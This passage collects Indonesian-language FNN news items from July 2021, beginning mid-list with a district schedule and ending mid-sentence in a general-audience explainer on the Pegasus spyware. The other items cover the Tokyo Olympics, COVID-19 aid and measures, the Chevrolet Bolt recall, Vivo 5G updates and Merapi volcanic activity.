Sumatera Selatan – 6 (Kabupaten Ogan Komering Ulu, Kabupaten Ogan Komering Ulu Timur) Lampung – 3 (Kabupaten Lampung Utara, Kabupaten Way Kanan, Kabupaten Tulang Bawang Barat) Kepulauan Bangka Belitung – 2 (Kabupaten Bangka, Kabupaten Bangka Barat) DKI Jakarta (Kabupaten Kep. Seribu, Jakarta Pusat, Jakarta Utara, Jakarta Barat, Jakarta Selatan, Jakarta Timur, Kabupaten Bekasi, Kabupaten Bogor, Kota Bekasi, Kota Bogor, Kota Depok, Kabupaten Tangerang, Kota Tangerang, Kota Tangerang Selatan) Jawa Barat – 1 (Kabupaten Bandung, Kabupaten Bandung Barat, Kota Bandung, Kota Cimahi) Jawa Tengah – 1 (Kabupaten Boyolali, Kabupaten Sragen, Kabupaten Grobogan, Kabupaten Kudus, Kabupaten Demak, Kabupaten Semarang, Kota Salatiga, Kota Semarang) DI Yogyakarta (Kabupaten Kulon Progo, Kabupaten Bantul, Kabupaten Gunungkidul, Kabupaten Sleman, Kota Yogyakarta, Kabupaten Klaten, Kabupaten Sukoharjo, Kabupaten Karanganyar, Kota Surakarta) Jawa Timur – 1 (Kabupaten Pasuruan, Kabupaten Sidoarjo, Kabupaten Mojokerto, Kabupaten Jombang, Kabupaten Lamongan, Kabupaten Gresik, Kabupaten Bangkalan, Kota Pasuruan, Kota Mojokerto, Kota Surabaya) Nusa Tenggara Timur – 2 (Kabupaten Timor Tengah Selatan) Kalimantan Barat – 3 (Kabupaten Bengkayang, Kota Singkawang) Kalimantan Selatan – 1 (Kabupaten Tanah Laut, Kabupaten Banjar, Kabupaten Barito Kuala, Kota Banjarmasin, Kota Banjarbaru) Kalimantan Tengah – 6 (Kabupaten Kotawaringin Timur, Kabupaten Katingan) Sulawesi Utara – 2 (Kabupaten Bolaang Mongondow, Kabupaten Minahasa Selatan, Kabupaten Minahasa Tenggara, Kabupaten Bolaang Mongondow Timur, Kota Kotamobagu) Sulawesi Tengah – 2 (Kabupaten Donggala) Sulawesi Tengah – 6 (Kabupaten Poso, Kabupaten Tojo Una Una) Sulawesi Selatan – 5 (Kabupaten Luwu, Kabupaten Luwu Utara, Kota Palopo) Sulawesi Selatan – 7 (Kabupaten Bone, Kabupaten Soppeng, Kabupaten Wajo) Sulawesi Selatan – 8 (Kabupaten Sinjai) Sulawesi Tenggara – 2 (Kabupaten Muna, Kabupaten Muna Barat, Kabupaten Buton Tengah, Kota Bau Bau) Maluku Utara – 3 (Kabupaten Halmahera Selatan, Kota Tidore Kepulauan) Tahap kelima paling lambat 2 November 2021: Riau – 3 (Kabupaten Rokan Hilir) Riau – 7 (Kabupaten Indragiri Hilir) Jambi – 4 (Kabupaten Kerinci, Kota Sungai Penuh) Kepulauan Bangka Belitung – 4 (Kabupaten Belitung, Kabupaten Belitung Timur) Jawa Barat – 5 (Kabupaten Sukabumi, Kota Sukabumi) Jawa Barat – 6 (Kabupaten Indramayu, Kabupaten Karawang, Kabupaten Purwakarta, Kabupaten Subang) Jawa Tengah – 5 (Kabupaten Magelang, Kabupaten Temanggung, Kabupaten Kendal, Kabupaten Batang, Kota Magelang ) Jawa Tengah – 8 (Kabupaten Banjarnegara, Kabupaten Kebumen, Kabupaten Purworejo, Kabupaten Wonosobo) Jawa Timur – 2 (Kabupaten Malang, Kabupaten Probolinggo, Kota Malang, Kota Probolinggo, Kota Batu) Jawa Timur – 7 (Kabupaten Tulungagung, Kabupaten Blitar, Kabupaten Kediri, Kabupaten Nganjuk, Kota Kediri, Kota Blitar) Jawa Timur – 8 (Kabupaten Bojonegoro, Kabupaten Tuban) Jawa Timur – 9 (Kabupaten Ponorogo, Kabupaten Trenggalek, Kabupaten Madiun, Kabupaten Magetan, Kabupaten Ngawi, Kota Madiun) Banten – 3 (Kabupaten Lebak) Nusa Tenggara Barat – 5 (Kabupaten Dompu, Kabupaten Bima, Kota Bima) Kalimantan Barat – 6 (Kabupaten Sintang) Sulawesi Utara – 6 (Kabupaten Kepulauan Sangihe) Sulawesi Tengah – 3 (Kabupaten Toli Toli) Sulawesi Selatan – 6 (Kabupaten Sidenreng Rappang, Kabupaten Pinrang, Kabupaten Enrekang, Kota Pare Pare) Maluku – 6 (Kabupaten Maluku Tenggara, Kota Tual) Papua – 4 (Kabupaten Merauke) Papua – 7 (Kabupaten Jayawijaya, Kabupaten Yahukimo, Kabupaten Mamberamo Raya, Kabupaten Mamberamo Tengah, Kabupaten Yalimo) Papua – 9 (Kabupaten Mimika) Papua – 11 (Kabupaten Nabire) Papua – 13 (Kabupaten Biak Numfor, Kabupaten Supiori) (mth)

Andy Murray Mundur dari Tunggal Putra Olimpiade Tokyo Karena Cedera

Jakarta, FNN - Juara bertahan tenis dalam Olimpiade Tokyo 2020 Andy Murray mengundurkan diri dari turnamen tunggal putra karena cedera otot, menurut Team GB, sebutan untuk tim Olimpiade Inggris, seperti dilaporkan AFP, Minggu. Murray (34) akan tetap berada di Tokyo untuk bermain dalam nomor ganda putra bersama Joe Salisbury. Pasangan tersebut memenangkan pertandingan laga perdana mereka, Sabtu. "Saya sangat kecewa karena harus mundur, tetapi staf medis telah menyarankan saya untuk tidak bermain di dua nomor, jadi saya membuat keputusan sulit untuk mundur dari nomor tunggal dan fokus bermain ganda dengan Joe," kata Murray. "Keputusan itu merupakan hasil konsultasi dengan staf medis sehubungan dengan cedera quadriceps," tambahnya. Petenis Skotlandia itu dicoret dari daftar permainan hanya beberapa jam sebelum dia dijadwalkan menghadapi Felix Auger-Aliassime dari Kanada pada babak pertama. Dalam undian ulang, dia digantikan oleh Max Purcell dari Australia. Juara Grand Slam tiga kali, Murray, adalah satu-satunya pemain yang memenangkan dua gelar tunggal Olimpiade. Dia berjuang ketika membawa emas ketiga berturut-turut setelah kemenangannya di London 2012 dan Rio 2016. Karier Murray mulai menurun dalam beberapa tahun terakhir karena cedera. Dia dua kali menjalani operasi pinggul sejak naik ke peringkat satu dunia pada akhir 2016. Dia baru-baru ini harus pulang lebih awal di Wimbledon, untuk pertama kalinya dalam 16 tahun kariernya, ketika dia tersingkir di babak ketiga oleh petenis Kanada Denis Shapovalov. Murray dan Salisbury akan bermain melawan Tim Puetz dan Kevin Krawietz dari Jerman untuk memperebutkan satu tempat di perempat final ganda putra Olimpiade Tokyo 2020 setelah menyingkirkan unggulan kedua dari Prancis Pierre-Hugues Herbert dan Nicolas Mahut di babak pertama. (mth)

Bangka Belitung Salurkan Bantuan Beras bagi 80.493 Keluarga Mulai Senin

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung mulai Senin (26/7) akan menyalurkan bantuan sosial berupa beras bagi 80.493 keluarga penerima manfaat dari rumah ke rumah dalam upaya mencegah terjadinya kerumunan yang bisa meningkatkan risiko penularan COVID-19. "Kami berharap bansos beras dapat membantu keluarga penerima bantuan selama penerapan PPKM (pemberlakuan pembatasan kegiatan masyarakat)," kata Gubernur Kepulauan Bangka Belitung Erzaldi Rosman Djohan di Pangkalpinang, Minggu. Sesuai petunjuk teknis dari Kementerian Sosial, ia menjelaskan, bantuan beras akan diantarkan langsung ke rumah 80.493 keluarga yang mencakup 24.274 keluarga penerima manfaat Program Keluarga Harapan, 29.816 keluarga penerima bantuan sosial tunai, dan 26.403 keluarga penerima bantuan pangan non-tunai. Gubernur mengatakan, pemerintah provinsi berupaya memastikan bantuan sosial dari pemerintah sampai ke sasaran yang tepat. "Saya mau, data by name by address (berdasar nama dan alamat) disinkronkan dulu bersama Dinsos agar semua pihak memegang data dan narasi yang sama," katanya. Ia meminta bantuan personel Bintara Pembina Desa (Babinsa) dan Bhayangkara Pembina Keamanan dan Ketertiban Masyarakat (Bhabinkantibmas) untuk mengawal pendistribusian bantuan beras, yang akan dilaksanakan mulai Senin (26/7). Kepala Bulog Subdivisi Regional Bangka Taufiqurokhmah mengatakan bahwa penyaluran bantuan beras dilaksanakan bekerja sama dengan PT Dos Ni Roha (DNR). "Kami telah menyiapkan petugas pengawal penyaluran beras ini untuk mengawal personel dari DNR mulai dari komoditi keluar gudang hingga diterima oleh penerima manfaat," katanya. (mth)

GM Tarik Hampir 69.000 Chevrolet Bolt Listrik Karena Risiko Kebakaran

Jakarta, FNN - General Motors Co menarik hampir 69.000 kendaraan listrik (electric vehicle/EV) Chevrolet Bolt di seluruh dunia terkait risiko kebakaran dan akan mengganti modul baterai yang rusak sesuai kebutuhan. Dikutip dari Reuters, Minggu, produsen mobil terbesar Amerika Serikat itu mengatakan bahwa ahli dari GM dan (pembuat baterai) LG telah mengidentifikasi kehadiran simultan dari dua cacat manufaktur langka di sel baterai yang sama sebagai akar penyebab kebakaran baterai di Chevrolet Bolt EV tertentu. GM mengatakan akan mengganti modul baterai yang rusak dalam populasi penarikan, meskipun tidak jelas berapa banyak yang rusak. Penarikan tersebut mencakup 50.925 kendaraan di Amerika Serikat Insinyur GM dan LG sedang bekerja untuk menyelesaikan semua langkah proses perbaikan, mencakup proses inspeksi diler potensial, kata GM, yang menambahkan bahwa perbaikan dapat mengganti paket lengkap atau modul yang dicurigai. “Pertanyaannya adalah apakah GM memiliki kemampuan teknologi untuk mendeteksi dan mengidentifikasi baterai yang rusak. Jika tidak, mereka mungkin harus mengganti baterai total, yang akan memakan biaya, seperti yang dilakukan Hyundai,” kata pakar baterai Korea Selatan Park Chul-wan. GM mengatakan sebelumnya bahwa baterai tegangan tinggi yang ditarik diproduksi di fasilitas LG Chem Ltd Ochang, Korea Selatan. Penarikan tersebut tidak berdampak pada kendaraan Bolt yang lebih baru dengan baterai generasi berikutnya. Kendaraan Chevrolet Bolt yang ditarik kembali berasal dari model tahun 2017-2019 dan pertama kali ditarik karena potensi kebakaran pada baterai tegangan tinggi di bawah bantalan bawah kursi belakang. GM telah mengkonfirmasi sebanyak sembilan kebakaran Bolt. (mth)

Mutiara/Melani Petik Pengalaman Berharga di Olimpiade Tokyo

Jakarta, FNN - Mutiara Rahma Putri dan Melani Putri memetik pengalaman berharga meski gagal melaju ke semifinal nomor scull ganda kelas ringan putri Olimpiade Tokyo. Bagi mereka, bisa debut di pesta olahraga terbesar di dunia ini adalah pencapaian luar biasa. Mutiara dan Melani masih berusia 17 tahun dan 21 tahun, tetapi sudah merasakan persaingan di level internasional yang diikuti pedayung yang jauh lebih berpengalaman. "Ini pengalaman berharga buat kami karena ajang ini merupakan paling besar yang pernah kami ikuti. Yang jelas, Olimpiade ini menjadi pelajaran berharga," kata Melani dalam pernyataan resmi yang diterima ANTARA, Minggu. "Apalagi kami baru saja berpasangan selama 9 bulan. Semoga ke depannya bisa tampil lebih baik dan memberi prestasi bagi Indonesia," ujar Melani menambahkan. Mutiara/Melani telah berlomba selama dua hari di Sea Forest Waterway, Tokyo Bay. Hari ini, mereka gagal memanfaatkan kesempatan kedua untuk ke semifinal setelah di babak repechage 1 hanya mampu finis di urutan keenam atau terakhir dengan catatan waktu 8 menit 03,19 detik. Hasil tersebut terpaut 41,94 detik dari wakil Amerika Serikat (AS) Mary Reckford/Michelle Sechser yang finis terdepan dengan catatan waktu 7 menit 21,25 detik. Pada babak repechage 1, hanya tiga peserta yang berhak melaju ke fase selanjutnya. Dua lainnya yakni wakil Belarus Ina Nikulina/Alena Furman dan pedayung tuan rumah Chiaki Tomita/Ayami Oishi yang masing-masing finis di urutan kedua dan ketiga. "Kami baru menyelesaikan perlombaan repechage dan sangat kompetitif dengan negara lain. Kami sudah berusaha maksimal, tetapi angin cukup kencang di 1.000 meter terakhir. Itu memengaruhi penampilan kami," kata Mutiara. Meski gagal melaju ke semifinal, Mutiara/Melani masih akan tampil di Finał C untuk penentuan peringkat pada Selasa (27/7). Mereka akan bersaing dengan wakil Vietnam, Argentina, Austria, Tunisia, dan Guatemala. "Semoga kami bisa tampil lebih baik lagi," ujar Mutiara. (mth)

Ketua Satgas COVID-19 Minta Masyarakat Terapkan Prokes

Jakarta, FNN - Ketua Satuan Tugas Penanganan COVID-19 Letjen TNI Ganip Warsito meminta masyarakat menerapkan protokol kesehatan, saat meninjau Wisma Atlet Jalak Harupat, Kabupaten Bandung, Jawa Barat yang akan dipergunakan sebagai Pusat Isolasi Terpadu untuk pasien COVID-19. Menurut dia, protokol kesehatan adalah hulu untuk menekan kenaikan angka kasus COVID-19 di Indonesia. "Tetap jaga protokol kesehatan ya, jaga jarak dijaga selalu," kata Ganip di sela-sela tinjauannya, dalam keterangan yang diterima di Jakarta, Minggu. Dia meninjau fasilitas tersebut guna memastikan fasilitas, tenaga medis dan non-medis, juga kondisi ruangan sudah siap untuk mulai menerima warga yang dinyatakan positif COVID-19. Pusat Isolasi Terpadu ini nantinya diperuntukkan bagi pasien COVID-19 dengan gejala ringan dan kategori Orang Tanpa Gejala (OTG), agar proses isolasi lebih terpantau. Pusat isolasi terpadu Wisma Atlet Jalak Harupat memiliki 44 kamar yang diperuntukkan bagi 80 pasien, terdiri atas 12 kamar berada di lantai 1, dan masing-masing 16 kamar di lantai dua dan tiga. Satu kamar terdiri dari dua ruang tidur, ruang tamu, dan dapur. Menurut Bupati Kabupaten Bandung, Dadang Supriatna, pengoperasian pusat isolasi terpadu ini hanya tinggal menunggu kesiapan dari para personil. "Setelah ini kami akan menginventarisasi dari sisi SDM untuk kita lihat ketersediaan dan kesiapannya. Kalau sudah rampung, insyaallah bisa langsung beroperasi secepatnya" kata Dadang. Dadang menyebutkan, saat ini kebutuhan tenaga kesehatan untuk isolasi terpadu di Wisma Atlet Jalak Harupat adalah 8 dokter, 16 perawat, dua sanitarian, dua nutrisianis, dan dua Ahli Teknologi Laboratorium Medis (ATLM). Turut hadir dalam tinjauan tersebut Panglima TNI, Marsekal Hadi Tjahjono, Kepala Badan Pemeliharaan Keamanan (Kabaharkam) Polri Komjen Arief Sulistyanto, dan Panglima Komando Gabungan Wilayah Pertahanan (Pangkogabwilhan) II TNI Marsdya Imran Baidirus. Panglima TNI mengatakan, saat ini kasus aktif di Indonesia masih cukup tinggi. Oleh sebab itu, dia mengingatkan seluruh komponen bangsa harus bekerja bersama-sama secara serius untuk menangani pandemi COVID-19. Ia mengapresiasi Pemerintah Kabupaten Bandung terhadap kesiapan fasilitas isolasi terpadu tersebut. Sebelumnya, Kepala BNPB bersama rombongan sudah terlebih dahulu meninjau RSUD Al-Ihsan untuk agenda yang sama. (mth)

Momentum PPKM Dimanfaatkan Tata Pasar Tradisional di Jogjakarta

Jogjakarta, FNN - PPKM yang diberlakukan sejak 3 Juli dimanfaatkan untuk melakukan penataan pasar tradisional di Kota Jogjakarta agar semakin rapi termasuk penataan luberan pedagang di luar pasar. “Larangan berjualan bagi pedagang yang berjualan di luar pasar selama PPKM diterapkan akan kami evaluasi. Momentum ini sudah mendapat apresiasi dari kepala daerah dan diupayakan untuk dipertahankan,” kata Kepala Dinas Perdagangan Kota Jogjakarta Yunianto Dwi Sutono di Yogyakarta, Minggu. Sejumlah pasar yang memiliki cukup banyak pedagang luberan di antaranya adalah Pasar Kranggan, Sentul, Kotagede, dan Pasar Demangan. Selama PPKM pedagang luberan dilarang berjualan sebagai upaya menghindari munculnya kerumunan. Menurut dia, evaluasi akan dilakukan bersama dengan berbagai instansi lain khususnya dari kecamatan dan Satpol PP Kota Jogjakarta karena pihak yang berwenang melakukan penataan pedagang di luar pasar adalah instansi di wilayah. “Penataan pedagang di luar area pasar bukan kewenangan mutlak dari kami. Tetapi, kami pun siap mendukung upaya tersebut,” katanya yang menyebut pedagang luberan tersebut masuk dalam kategori pedagang kaki lima (PKL). Menurut dia, salah satu dukungan yang siap diberikan adalah memasukkan pedagang luberan tersebut ke dalam area pasar apabila masih memungkinkan dari sisi penyediaan tempat. “Kami akan inventarisasi dulu karena ada juga pedagang luberan tersebut sebenarnya memiliki lapak, los atau kios di dalam pasar tetapi mereka juga berjualan di luar pasar,” katanya. Meskipun tidak mengetahui secara pasti jumlah pedagang luberan yang berjualan di sejumlah pasar tradisional, namun Yunianto memperkirakan jumlahnya cukup banyak sehingga perlu dilakukan persiapan matang untuk penataannya. Namun demikian, ia memastikan apabila penataan pedagang di luar pasar tersebut dilakukan, maka akan dilaksanakan dengan mengedepankan unsur kooperatif dan humanis. “Komunikasi harus bisa berjalan dua arah. Tidak menempatkan pedagang sebagai orang yang dilarang tetapi harus ada solusi bersama untuk mengakomodasi mereka,” katanya. (mth)

Vivo Indonesia Pastikan Pengguna V21 5G dan X60 Bisa Nikmati 5G

Jakarta, FNN - vivo memastikan pengguna dua seri lini ponsel 5G mereka yaitu vivo V21 5G dan vivo X60 maupun X60 Pro saat ini sudah bisa menikmatikan jaringan 5G di Indonesia berkat adanya pembaruan sistem. Dengan kehadiran jaringan 5G dari Telkomsel di Indonesia pada Mei 2021 maka saat ini pengguna ponsel vivo V21, vivo X60, dan vivo X60 Pro sudah bisa merasakan layanan dengan optimal. “Kami bangga mengumumkan bahwa pengguna vivo X60 Series dan vivo V21 5G kini sudah dapat menjalankan update otomatis untuk menikmati jaringan 5G di beberapa area tertentu sesuai dengan cakupan jaringan 5G oleh penyedia jaringan. Kami memahami bahwa pembaruan ini sudah diantisipasi oleh banyak pengguna smartphone 5G-Ready vivo menyusul peluncuran jaringan 5G oleh Telkomsel beberapa waktu lalu,” ujar Product and Marketing Strategy Director Vivo Indonesia Denny Galant dalam keterangannya, dikutip Minggu. Berikut langkah-langkah untuk mengaktifkan jaringan 5G vivo V21 5G, X60 dan X60 Pro: 1.Buka menu Pengaturan/Setting. 2.Pilih opsi Pembaruan Sistem/System Update. 3.Download dan install software update (untuk vivo V21 5G, version: 1.9.2). 4.Restart atau jalankan ulang perangkat secara otomatis untuk instalasi software. 5.Perangkat sudah siap mendukung jaringan 5G, dapat dipilih melalui opsi Mode Jaringan pada pengaturan Kartu SIM/SIM Card. 6.Pastikan kartu SIM mendukung jaringan 5G dengan paket 5G aktif, serta berada di wilayah yang tercakup jaringan 5G untuk dapat menikmati pengalaman 5G yang lebih cepat dan terkoneksi. Setelah melakukan software update, pengguna vivo X60 Series dan vivo V21 5G dapat mencoba jaringan 5G Telkomsel yang kini tersebar di beberapa area khusus. Untuk menikmati jaringan 5G Telkomsel, pengguna dapat melakukan aktivasi fitur 5G ready kartu SIM melalui call center 188. Selanjutnya pengguna dapat melakukan pembelian paket data dengan kuota yang bisa digunakan pada jaringan 5G melalui aplikasi myTelkomsel. Saat ini, Telkomsel 5G telah hadir di beberapa titik di sembilan kota di Indonesia. Di wilayah residensial Jakarta dan sekitarnya, Telkomsel 5G tersedia di Alam Sutera, Bumi Serpong Damai, Pondok Indah Kapuk, Kelapa Gading, Pondok Indah, Widya Candra. Sedangkan di wilayah residensial kota Medan, Telkomsel 5G tersedia di BHR Residence,Taman Setia Budi Indah (Tasbih 1), dan Perumahan Dinas Pemerintahan, Jalan Jenderal Sudirman. Selain itu Telkomsel 5G juga dapat dinikmati di GraPARI di GTG Medan, Batam Centre, Terminal 3 Soekarno Hatta Jakarta, Solo, Surabaya, Renon Denpasar, Balikpapan dan Pettarani Makassar. Sedangkan di kota Bandung, Telkomsel 5G hadir di Telkom University dan Institut Teknologi Bandung. Pada April 2021, vivo meluncurkan seri flagship vivo X60 Series dalam dua pilihan, yaitu vivo X60 dan X60 Pro. Kedua seri X60 ini didukung dengan chipset Qualcomm SD 870 5G SoC yang memungkinkan konektivitas 5G sangat cepat hingga gigabit/detik. Pencapaian ini kemudian disusul dengan peluncuran V-Series terbaru pada bulan Juni, yaitu vivo V21 5G yang merupakan smartphone 5G-Ready vivo dengan System-on-Chip Mediatek Dimensity 800U dan desain revolusioner dan menjadi smartphone 5G tertipis di Indonesia. Kedua seri smartphone vivo ini telah mendukung jaringan 5G frekuensi 1800MHz maupun frekuensi 2300 MHz yang saat ini digunakan oleh Telkomsel. “Saat ini, dengan cakupan jaringan 5G Telkomsel telah menjangkau rangkaian hotspot serta beberapa kawasan pendidikan, residensial dan perkantoran, diharapkan kesempatan merasakan pengalaman 5G bagi pengguna 5G-Ready smartphone vivo pun menjadi semakin besar.” ujar Denny. (mth)

Guguran Lava Pijar Meluncur 15 Kali dari Gunung Merapi

Jogjakarta, FNN - Gunung Merapi di perbatasan Daerah Istimewa Jogjakarta dan Jawa Tengah 15 kali meluncurkan guguran lava pijar ke arah tenggara dan barat daya pada Minggu. Kepala Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG) Hanik Humaida melalui keterangan resminya di Jogjakarta, menyebutkan guguran lava pijar ke arah barat daya meluncur 10 kali dengan jarak luncur maksimum 1.500 meter mulai pukul 00.00 sampai 06.00 WIB. Sedangkan guguran lava ke arah tenggara meluncur lima kali dengan jarak maksimum 1.000 meter. "Asap kawah teramati berwarna putih dengan intensitas tipis dan tinggi 100 meter di atas puncak kawah," ujar Hanik. Selain guguran lava pijar, Merapi juga mengalami 25 kali gempa guguran dengan amplitudo 4-26 milimeter (mm) selama 28-102 detik, dua kali gempa hembusan dengan amplitudo 4 milimeter (mm) selama 11.9-13.8 detik. Berikutnya, 54 gempa fase banyak dengan amplitudo 3-22 milimeter (mm) selama 5.6-7.7 detik dan 13 kali gempa vulkanik dangkal dengan amplitudo 55-75 milimeter (mm) selama 8.7-13.2 detik, dan satu kali gempa tektonik jauh dengan amplitudo 8 milimeter (mm) selama 61 detik. Sementara untuk periode pengamatan pada Sabtu (24/7) malam, pukul 18.00-24.00 WIB, Gunung Merapi mencatatkan delapan kali meluncurkan guguran lava pijar dengan jarak luncur maksimum 1.200 meter ke arah barat daya dan enam kali ke tenggara sejauh 1.000 meter. Hingga kini BPPTKG masih mempertahankan status Gunung Merapi pada Level III atau Siaga. Guguran lava dan awan panas Gunung Merapi diperkirakan berdampak pada wilayah sektor selatan-barat daya meliputi Sungai Kuning, Boyong, Bedog, Krasak, Bebeng, dan Putih. Adapun jika terjadi letusan, lontaran material vulkanik dari Gunung Merapi dapat menjangkau radius tiga kilometer dari puncak gunung. (mth)

Polisi Yunani Bentrok dengan Massa yang Menolak Vaksinasi Wajib

Athena, FNN - Aparat kepolisian Yunani menggunakan gas air mata dan meriam air untuk membubarkan massa yang menolak kewajiban vaksinasi COVID-19 di Athena, Sabtu (24/7). Lebih dari 4.000 orang berunjuk rasa di depan gedung parlemen Yunani untuk ketiga kalinya bulan ini guna menentang vaksinasi wajib bagi sejumlah pekerja, seperti tenaga kesehatan dan staf panti wreda. Pejabat kepolisian, yang meminta identitasnya dirahasiakan, menyebutkan bahwa sejumlah pengunjuk rasa melemparkan bom molotov sehingga memicu polisi untuk meresponsnya dengan gas air mata. Aksi protes pada Rabu (21/7) juga diwarnai kekerasan. Jajak pendapat baru-baru ini menunjukkan mayoritas warga Yunani akan mendapatkan suntikan vaksin COVID-19 dan sekitar 45 persen dari 11 juta penduduk telah divaksin lengkap. Sejak virus corona mulai berjangkit di Yunani tahun lalu, tercatat 12.890 korban meninggal akibat penyakit tersebut. Yunani memerintahkan vaksinasi dilakukan pada petugas kesehatan dan staf panti wreda saat kasus meningkat. Pemerintah juga mendesak guru-guru sekolah agar menjalani vaksinasi tepat waktu menjelang tahun ajaran baru pada September. Hampir 2.500 kasus baru COVID-19 dilaporkan pada Sabtu, sehingga menambah jumlah total menjadi 474.366 kasus. (mth)

Vitalina Batsarashkina Persembahkan Emas Menembak untuk ROC Rusia

Jakarta, FNN - Petembak putri Rusia Vitalina Batsarashkina memenangkan medali emas nomor pistol 10 meter putri di Asaka Shooting Range dalam Olimpiade Tokyo 2020, Minggu. Atlet Bulgaria Antoaneta Kostadinova harus puas dengan medali perak, sedangkan Jiang Ranxin dari China mendapatkan medali perunggu. Atlet-atlet Rusia terpaksa berkompetisi menggunakan nama Komite Olimpiade Rusia (ROC) selama Olimpiade Tokyo ini gara-gara sanksi akibat skandal doping yang menimpa negara itu. Jiang sempat memuncaki babak kualifikasi nomor ini dengan mencetak rekor Olimpiade baru, 587, namun Kostadinova yang justru terlihat bakal menyabet medali emas nomor ini setelah memimpin lagi pada awal-awal final ini. Ketika Batsarashkina semakin memanas, Kostadinova akhirnya menyerah kepada tekanan dan hanya bisa mencatat nilai 9 yang merupakan paling rendah dalam bidikan terakhirnya. Batsarashkina mencetak 10,4 poin untuk menggagalkan petembak Bulgaria itu dalam meraih emas. Mantan juara Olimpiade Olena Kostevych dari Ukraina menduduki urutan keempat, sementara juara pistol 25 meter putri Olimpiade Rio lima tahun lalu, Anna Korakaki dari Yunani, menempati urutan keenam, demikian Reuters. (mth)

Indonesia Terima 300 Konsentrator, 100 MT Oksigen Medis dari India

Jakarta, FNN - Indonesia pada Sabtu (24/7) telah menerima dukungan Pemerintah India untuk penanganan pandemi COVID-19, yakni berupa 300 unit konsentrator oksigen dan 100 metrik ton (MT) oksigen cair medis. Seluruh bantuan yang tiba di Pelabuhan Tanjung Priok tersebut telah diserahterimakan oleh Dubes India untuk Indonesia Manoj Kumar Bharti kepada Kementerian Kesehatan yang diwakili oleh Kepala Pusat Krisis, Eka Jusup Singka. Pemerintah Indonesia menyampaikan apresiasi dan terima kasih kepada pemerintah India atas bantuan yang telah disampaikan, yang akan sangat berguna dalam penanganan COVID-19 di Indonesia, demikian disampaikan dalam keterangan tertulis Kementerian Luar Negeri RI yang diterima di Jakarta, Minggu. Dalam sambutannya, Dubes India untuk Indonesia menyampaikan komitmen dan harapan India untuk terus bekerja sama dengan Indonesia dalam penanganan pandemi, baik untuk jangka pendek maupun jangka panjang. Konsentrator dan oksigen medis yang diterima langsung disalurkan melalui Kementerian Kesehatan kepada berbagai pihak yang membutuhkan. Pada kesempatan sebelumnya, Indonesia juga pernah mengirimkan bantuan serupa kepada India, saat negara tersebut mengalami lonjakan kasus COVID-19 yang luar biasa pada Mei lalu. India merupakan negara mitra komprehensif strategis bagi Indonesia di kawasan, dan kedua negara terus mengembangkan kerja sama di berbagai bidang, baik melalui forum bilateral, regional, maupun multilateral. (mth)

Pegasus Perangkat Pengintai Pejabat Negara via WhatsApp

Semarang, FNN - Pegasus belakangan ini menjadi perbincangan masyarakat dunia. Bahkan, Presiden Prancis Emmanuel Macron mengganti ponsel beserta nomornya setelah adanya kecurigaan bahwa dirinya dan para menteri menjadi sasaran perangkat pengintai (spyware) ini. Juru bicara pemerintah Prancis Gabriel Attal kepada radio France-Inter, sebagaimana disiarkan ANTARA pada hari Jumat (23/7), mengatakan bahwa Macron menganggap masalah ini sangat serius. Bahkan, Presiden Prancis ini mengadakan pertemuan darurat untuk membahas keamanan siber dan kemungkinan langkah pemerintah selanjutnya di Istana Élysée pada hari Kamis (22/7) waktu setempat. Dikutip dari France 24, Presiden Prancis menuntut "penguatan semua protokol keamanan" terkait dengan sarana komunikasi yang sensitif. Berdasarkan laporan Amnesty Internasional, tidak hanya Macron, sejumlah presiden, perdana menteri, dan raja juga menjadi target dari malware buatan NSO, perusahaan teknologi Israel. Hal ini pun menjadi perhatian Lembaga Riset Siber Indonesia Communication and Information System Security Research Center (CISSReC) yang dipimpin Dr. Pratama Persadha. Lembaga riset ini mengungkapkan laporan dari Amnesty International dan Citizen Lab menyusul dugaan kebocoran data pada 50.000 target potensial alat mata-mata Pegasus NSO. Target tersebut termasuk 10 perdana menteri, tiga presiden, dan seorang raja. Sebelumnya, juga ramai diberitakan bahwa Jamal Kashogi, jurnalis Saudi, yang meninggal dunia juga menjadi target Pegasus. Pegasus merupakan malware berbahaya yang bisa masuk ke gawai seseorang dan melakukan kegiatan surveillance atau mata-mata. Pegasus sebenarnya merupakan sebuah trojan (jenis malware) yang begitu masuk ke dalam sistem target dapat membuka "pintu" bagi penyerang untuk dapat mengambil informasi yang berada dalam sistem target. Lebih spesifik boleh dikatakan bahwa Pegasus adalah sebuah spyware. Malware seperti ini, menurut pakar keamanan siber Pratama Persadha, banyak dijual bebas di pasaran, bahkan ada beberapa yang bisa didapatkan dengan gratis. Adapun yang membedakan adalah teknik atau metode yang digunakan agar malware tersebut untuk dapat menginfeksi korban, serta teknik untuk menyembunyikan diri agar tidak dapat terdeteksi oleh antivirus maupun peralatan security dan juga teknik agar tidak dapat di-tracking. Saat ini sangat sulit untuk menghindari kemungkinan serangan malware. Pegasus sendiri hanya membutuhkan nomor telepon target. Ponsel bisa jadi terhindar dari Pegasus jika nomor yang digunakan tak diketahui oleh orang lain. Teknik yang digunakan oleh Pegasus ini disebut dengan remote exploit dengan menggunakan zero day attack atau suatu metode serangan yang memanfaatkan lubang keamanan yang tidak diketahui, bahkan oleh si pembuat sistem sendiri. Serangan ini biasanya sangat sulit terdeteksi oleh perangkat keamanan walaupun ter-update. Hal ini menurut Pratama yang membuat Pegasus sangat berbahaya. Bila menilik malware Pegasus, cukup dengan panggilan WhatsApp, ponsel penerima sudah terinfeksi, bahkan tanpa harus menerima panggilannya. Dengan metode yang sama dan mengirimkan file lewat WhatsApp, juga bisa menyebabkan peretasan. Tidak hanya aplikasi WhatsApp yang bisa dimonitor, tetapi semua aplikasi yang terinstal di dalam smartphone tersebut. Lebih jauh lagi Pegasus dapat mengumpulkan semua data ponsel. Jika malware berhasil ditanamkan, data dari ponsel bisa disedot dan dikirim ke server. Bahkan, yang lebih mengerikan, Pegasus bisa menyalakan kamera atau mikrofon pada ponsel untuk membuat rekaman secara rahasia. Pegasus bisa melakukan segala hal di smartphone dengan kontrol dari dashboard. Bahkan, bisa melakukan pengiriman pesan, panggilan, dan perekaman tanpa sepengetahuan pemilik ponsel. Kasus tersebut seharusnya menjadi pengingat pentingnya Indonesia mengembangkan perangkat keras sendiri serta aplikasi chat serta email yang aman ketika negara menggunakannya. Dengan demikian, kata Pratama yang juga dosen pascasarjana pada Sekolah Tinggi Intelijen Negara (STIN), akan mengurangi risiko eksploitasi keamanan oleh pihak asing. Oleh karena itu, pakar keamanan siber dari CISSReC ini menyarankan agar Presiden RI Joko Widodo dan para pejabat negeri ini tidak 